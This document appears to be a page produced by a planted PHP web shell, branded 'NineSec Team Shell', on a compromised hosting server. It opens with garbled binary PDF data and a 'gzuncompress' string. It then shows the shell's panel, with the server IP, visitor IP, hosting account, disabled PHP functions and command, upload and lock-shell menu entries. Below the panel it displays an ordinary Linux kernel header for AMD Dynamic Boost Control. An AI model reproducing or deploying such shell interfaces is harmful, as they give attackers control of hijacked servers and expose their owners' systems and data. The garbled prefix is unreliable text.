%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 82.180.170.48  /  Your IP : 3.142.247.90
Web Server : LiteSpeed
System : Linux us-phx-web1609.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
User : u636808025 ( 636808025)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/../dev/../proc/../bin/../selector/../include/netrom/../linux/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/../dev/../proc/../bin/../selector/../include/netrom/../linux/psp-dbc.h
/* SPDX-License-Identifier: GPL-2.0-only WITH Linux-syscall-note */
/*
 * Userspace interface for AMD Dynamic Boost Control (DBC)
 *
 * Copyright (C) 2023 Advanced Micro Devices, Inc.
 *
 * Author: Mario Limonciello <[email protected]>
 */

#ifndef __PSP_DBC_USER_H__
#define __PSP_DBC_USER_H__

#include <linux/types.h>

/**
 * DOC: AMD Dynamic Boost Control (DBC) interface
 */

#define DBC_NONCE_SIZE		16
#define DBC_SIG_SIZE		32
#define DBC_UID_SIZE		16

/**
 * struct dbc_user_nonce - Nonce exchange structure (input/output).
 * @auth_needed: Whether the PSP should authenticate this request (input).
 *               0: no authentication, PSP will return single use nonce.
 *               1: authentication: PSP will return multi-use nonce.
 * @nonce:       8 byte value used for future authentication (output).
 * @signature:   Optional 32 byte signature created by software using a
 *               previous nonce (input).
 */
struct dbc_user_nonce {
	__u32	auth_needed;
	__u8	nonce[DBC_NONCE_SIZE];
	__u8	signature[DBC_SIG_SIZE];
} __attribute__((packed));

/**
 * struct dbc_user_setuid - UID exchange structure (input).
 * @uid:       16 byte value representing software identity
 * @signature: 32 byte signature created by software using a previous nonce
 */
struct dbc_user_setuid {
	__u8	uid[DBC_UID_SIZE];
	__u8	signature[DBC_SIG_SIZE];
} __attribute__((packed));

/**
 * struct dbc_user_param - Parameter exchange structure (input/output).
 * @msg_index: Message indicating what parameter to set or get (input)
 * @param:     4 byte parameter, units are message specific. (input/output)
 * @signature: 32 byte signature.
 *             - When sending a message this is to be created by software
 *               using a previous nonce (input)
 *             - For interpreting results, this signature is updated by the
 *               PSP to allow software to validate the authenticity of the
 *               results.
 */
struct dbc_user_param {
	__u32	msg_index;
	__u32	param;
	__u8	signature[DBC_SIG_SIZE];
} __attribute__((packed));

/**
 * Dynamic Boost Control (DBC) IOC
 *
 * possible return codes for all DBC IOCTLs:
 *  0:          success
 *  -EINVAL:    invalid input
 *  -E2BIG:     excess data passed
 *  -EFAULT:    failed to copy to/from userspace
 *  -EBUSY:     mailbox in recovery or in use
 *  -ENODEV:    driver not bound with PSP device
 *  -EACCES:    request isn't authorized
 *  -EINVAL:    invalid parameter
 *  -ETIMEDOUT: request timed out
 *  -EAGAIN:    invalid request for state machine
 *  -ENOENT:    not implemented
 *  -ENFILE:    overflow
 *  -EPERM:     invalid signature
 *  -EIO:       unknown error
 */
#define DBC_IOC_TYPE	'D'

/**
 * DBCIOCNONCE - Fetch a nonce from the PSP for authenticating commands.
 *               If a nonce is fetched without authentication it can only
 *               be utilized for one command.
 *               If a nonce is fetched with authentication it can be used
 *               for multiple requests.
 */
#define DBCIOCNONCE	_IOWR(DBC_IOC_TYPE, 0x1, struct dbc_user_nonce)

/**
 * DBCIOCUID - Set the user ID (UID) of a calling process.
 *             The user ID is 8 bytes long. It must be programmed using a
 *             32 byte signature built using the nonce fetched from
 *             DBCIOCNONCE.
 *             The UID can only be set once until the system is rebooted.
 */
#define DBCIOCUID	_IOW(DBC_IOC_TYPE, 0x2, struct dbc_user_setuid)

/**
 * DBCIOCPARAM - Set or get a parameter from the PSP.
 *               This request will only work after DBCIOCUID has successfully
 *               set the UID of the calling process.
 *               Whether the parameter is set or get is controlled by the
 *               message ID in the request.
 *               This command must be sent using a 32 byte signature built
 *               using the nonce fetched from DBCIOCNONCE.
 *               When the command succeeds, the 32 byte signature will be
 *               updated by the PSP for software to authenticate the results.
 */
#define DBCIOCPARAM	_IOWR(DBC_IOC_TYPE, 0x3, struct dbc_user_param)

/**
 * enum dbc_cmd_msg - Messages utilized by DBCIOCPARAM
 * @PARAM_GET_FMAX_CAP:		Get frequency cap (MHz)
 * @PARAM_SET_FMAX_CAP:		Set frequency cap (MHz)
 * @PARAM_GET_PWR_CAP:		Get socket power cap (mW)
 * @PARAM_SET_PWR_CAP:		Set socket power cap (mW)
 * @PARAM_GET_GFX_MODE:		Get graphics mode (0/1)
 * @PARAM_SET_GFX_MODE:		Set graphics mode (0/1)
 * @PARAM_GET_CURR_TEMP:	Get current temperature (degrees C)
 * @PARAM_GET_FMAX_MAX:		Get maximum allowed value for frequency (MHz)
 * @PARAM_GET_FMAX_MIN:		Get minimum allowed value for frequency (MHz)
 * @PARAM_GET_SOC_PWR_MAX:	Get maximum allowed value for SoC power (mw)
 * @PARAM_GET_SOC_PWR_MIN:	Get minimum allowed value for SoC power (mw)
 * @PARAM_GET_SOC_PWR_CUR:	Get current value for SoC Power (mW)
 */
enum dbc_cmd_msg {
	PARAM_GET_FMAX_CAP	= 0x3,
	PARAM_SET_FMAX_CAP	= 0x4,
	PARAM_GET_PWR_CAP	= 0x5,
	PARAM_SET_PWR_CAP	= 0x6,
	PARAM_GET_GFX_MODE	= 0x7,
	PARAM_SET_GFX_MODE	= 0x8,
	PARAM_GET_CURR_TEMP	= 0x9,
	PARAM_GET_FMAX_MAX	= 0xA,
	PARAM_GET_FMAX_MIN	= 0xB,
	PARAM_GET_SOC_PWR_MAX	= 0xC,
	PARAM_GET_SOC_PWR_MIN	= 0xD,
	PARAM_GET_SOC_PWR_CUR	= 0xE,
};

#endif /* __PSP_DBC_USER_H__ */

NineSec Team - 2022